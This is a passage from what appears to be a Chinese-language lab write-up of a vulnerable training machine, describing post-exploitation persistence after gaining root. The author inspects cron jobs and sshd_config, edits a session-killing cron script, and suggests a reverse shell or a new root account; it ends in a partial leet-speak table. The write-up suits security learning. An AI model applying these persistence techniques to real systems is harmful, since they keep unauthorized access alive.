&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516101027989" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516101027989.png"&gt;&lt;/p&gt;
&lt;p&gt;刚好在断网前拿到权限。如果是在真实过程中，拿到root权限后可以想办法把这个3分钟限制关掉，或者简历新的不限时的新账户用于持续攻击和横向移动。&lt;/p&gt;
&lt;h3 id="建立保活稳定持续的后门"&gt;建立保活稳定持续的后门
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -name cronlog 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /var/log/cronlog
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;find / -name cleaner.py 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cat /lib/log/cleaner.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516102026914" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516102026914.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到这里可以得知系统会每 2 分钟执行一次 &lt;code&gt;cleaner.py&lt;/code&gt; 脚本。脚本内容就是清楚tmp目录下的东西。抓紧时间把这个删除的脚本改掉。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516105901255" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516105901255.png"&gt;&lt;/p&gt;
&lt;p&gt;但是负责给我们断网的脚本应该还在别处。可以通过以下命令排查，先全部执行完，再一个个分析。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$TMOUT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep -Ri &lt;span class="s2"&gt;&amp;#34;pam_time.so&amp;#34;&lt;/span&gt; /etc/pam.d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;grep -Ri &lt;span class="s2"&gt;&amp;#34;timeout\|kill.*ssh&amp;#34;&lt;/span&gt; /etc/cron.*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;grep -Ri &lt;span class="s2"&gt;&amp;#34;clean&amp;#34;&lt;/span&gt; /etc/cron.*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/update-motd.d/*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516102754529" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516102754529.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo $TMOUT&lt;/code&gt;没有输出，表示不是通过这个变量来限制时长的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;$ cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Package generated configuration file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# See the sshd_config(5) manpage for details&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# What ports, IPs and protocols we listen for&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Port &lt;span class="m"&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Use these options to restrict which interfaces/protocols sshd will bind to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#ListenAddress ::&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#ListenAddress 0.0.0.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Protocol &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# HostKeys for protocol version 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;HostKey /etc/ssh/ssh_host_rsa_key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;HostKey /etc/ssh/ssh_host_dsa_key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;HostKey /etc/ssh/ssh_host_ecdsa_key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;HostKey /etc/ssh/ssh_host_ed25519_key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Privilege Separation is turned on for security&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;UsePrivilegeSeparation yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Lifetime and size of ephemeral version 1 server key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;KeyRegenerationInterval &lt;span class="m"&gt;3600&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;ServerKeyBits &lt;span class="m"&gt;1024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;SyslogFacility AUTH
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;LogLevel INFO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Authentication:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;LoginGraceTime &lt;span class="m"&gt;120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;PermitRootLogin without-password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;StrictModes yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;RSAAuthentication yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;PubkeyAuthentication yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#AuthorizedKeysFile %h/.ssh/authorized_keys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Don&amp;#39;t read the user&amp;#39;s ~/.rhosts and ~/.shosts files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;IgnoreRhosts yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# For this to work you will also need host keys in /etc/ssh_known_hosts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;RhostsRSAAuthentication no
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# similar for protocol version 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;HostbasedAuthentication no
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Uncomment if you don&amp;#39;t trust ~/.ssh/known_hosts for RhostsRSAAuthentication&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#IgnoreUserKnownHosts yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# To enable empty passwords, change to yes (NOT RECOMMENDED)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;PermitEmptyPasswords no
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Change to yes to enable challenge-response passwords (beware issues with&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# some PAM modules and threads)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;ChallengeResponseAuthentication no
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Change to no to disable tunnelled clear text passwords&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#PasswordAuthentication yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kerberos options&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#KerberosAuthentication no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#KerberosGetAFSToken no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#KerberosOrLocalPasswd yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#KerberosTicketCleanup yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# GSSAPI options&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#GSSAPIAuthentication no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#GSSAPICleanupCredentials yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;X11Forwarding yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;X11DisplayOffset &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;PrintMotd no
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;PrintLastLog yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;TCPKeepAlive yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#UseLogin no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#MaxStartups 10:30:60&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Banner /etc/issue.net&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Allow client to pass locale environment variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;AcceptEnv LANG LC_*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;Subsystem sftp /usr/lib/openssh/sftp-server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Set this to &amp;#39;yes&amp;#39; to enable PAM authentication, account processing,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# and session processing. If this is enabled, PAM authentication will&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# be allowed through the ChallengeResponseAuthentication and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# PasswordAuthentication. Depending on your PAM configuration,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# PAM authentication via ChallengeResponseAuthentication may bypass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# the setting of &amp;#34;PermitRootLogin without-password&amp;#34;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# If you just want the PAM account and session checks to run without&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# PAM authentication, then enable this but set PasswordAuthentication&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# and ChallengeResponseAuthentication to &amp;#39;no&amp;#39;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt;UsePAM yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;KeyRegenerationInterval 3600&lt;/code&gt;作用：SSHv1 服务器密钥的重新生成时间间隔（单位：秒）。默认每 &lt;strong&gt;3600 秒（1小时）&lt;/strong&gt; 重新生成一次密钥。&lt;strong&gt;注意&lt;/strong&gt;：SSHv1 &lt;strong&gt;已过时且不安全&lt;/strong&gt;，建议禁用 SSHv1 协议（现代系统默认使用 SSHv2）。这个如果是之后用密钥连接服务器的话，要注释掉这一行。不然一个小时后就要重新用密钥再次注册。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ grep -Ri &lt;span class="s2"&gt;&amp;#34;pam_time.so&amp;#34;&lt;/span&gt; /etc/pam.d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;/etc/pam.d/su:# account requisite pam_time.so
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;/etc/pam.d/login:# account requisite pam_time.so
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;虽然有这两个预留的，但是#表示这两行没有生效。&lt;/p&gt;
&lt;p&gt;观察每次登录后被断开的时间发现，无论我们什么时候登录，断开时间总是恰好在&lt;code&gt;5&lt;/code&gt;，&lt;code&gt;10&lt;/code&gt;的倍数时候断开，所以猜测是&lt;code&gt;crontab&lt;/code&gt;中运行的每5分钟一次的脚本。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516104147040" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516104147040.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;crontab -l 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /opt/lmao.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516110640918" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516110640918.png"&gt;&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;lmao.py&lt;/code&gt;发现就是这个脚本每5分钟把&lt;code&gt;overflow&lt;/code&gt;的登录会话关闭掉。如果我们想要获得稳定的ssh会话，只要把&lt;code&gt;pkil&lt;/code&gt;那一行删掉即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# cat /opt/lmao.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;os.system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo &amp;#34;TIMES UP LOL!&amp;#34;|wall&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;os.system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkill -u overflow&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;sys.exit&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516110800004" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516110800004.png"&gt;&lt;/p&gt;
&lt;p&gt;这样虽然还是会发广播，但是广播之后我们的会话不会掉了。或者改为反弹shell，我们在kali上监听即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516111102478" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516111102478.png"&gt;&lt;/p&gt;
&lt;p&gt;我们还可以新建一个全新的账户，拥有root权限，这样这个lmao.py也管不着我们了。但是这个靶机似乎限制了不让新建用户。&lt;/p&gt;
&lt;p&gt;我们还可以暴力搜索这两行字是从哪个文件出来的，用时较长。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo grep -rnw &amp;#39;/&amp;#39; -e &amp;#39;somewhere&amp;#39; --exclude-dir={proc,sys,dev,run} 2&amp;gt;/dev/null
sudo grep -rnw &amp;#39;/&amp;#39; -e &amp;#39;TIMES UP LOL!&amp;#39; --exclude-dir={proc,sys,dev,run} 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id="补充知识点字母混淆"&gt;补充知识点：字母混淆
&lt;/h2&gt;&lt;p&gt;以下是更多通过 &lt;strong&gt;字母数字混淆&lt;/strong&gt;（Leet Speak 或 1337 语）生成的趣味性隐藏词组示例，适用于密码、文件夹名、代码变量等场景：&lt;/p&gt;
&lt;h3 id="基础替换规则"&gt;&lt;strong&gt;基础替换规则&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;字母&lt;/th&gt;
 &lt;th style="text-align: center"&gt;常见替换字符&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;A/a&lt;/td&gt;
 &lt;td style="text-align: center"&gt;4, @, ^&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;B/b&lt;/td&gt;
 &lt;td style="text-align: center"&gt;8, 6&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;E/e&lt;/td&gt;
